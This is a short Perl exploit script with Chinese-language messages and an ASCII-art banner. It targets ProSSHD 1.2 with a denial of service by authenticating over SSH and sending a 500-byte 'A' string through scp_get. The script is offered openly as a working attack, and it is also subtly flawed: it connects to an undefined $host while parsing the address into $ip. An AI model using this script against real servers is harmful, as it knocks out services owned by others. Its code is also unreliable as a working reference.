1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

$sis="$^O";

if ($sis eq "windows"){
  $cmd="cls";
} else {
  $cmd="clear";
}

system("$cmd");

intro();
main();

print "\t    ==> 正在连接到Web服务器... \n\n";
sleep(1);

my $i=0;
print "\t    ==> 正在利用漏洞... \n\n";

my $payload = "\x41" x 500;

$connection2 = Net::SSH2->new();
$connection2->connect($host, $port) || die "\n错误: 连接被拒绝!\n";
$connection2->auth_password($username, $password) || die "\n错误: 用户名/密码被拒绝!\n";
$scpget = $connection2->scp_get($payload);
$connection2->disconnect();

print "\t    ==> 完成! 漏洞利用成功!";

sub intro {
  print q {
                            ,--,
                     _ ___/ /\|
                 ,;'( )__, )  ~
                //  //   '--; 
                '   \     | ^
                     ^    ^

    [+] ProSSHD 1.2 20090726 - 拒绝服务(DoS)

    [*] 代码作者: Fernando Mengali

    [@] 邮箱: fernando.mengalli@gmail.com
  }
}

sub main {
  our ($ip, $port, $username, $password) = @ARGV;

  unless (defined($ip) && defined($port)) {
    print "\n\t用法: $0 <ip> <端口> <用户名> <密码>           \n";
    exit(-1);
  }
}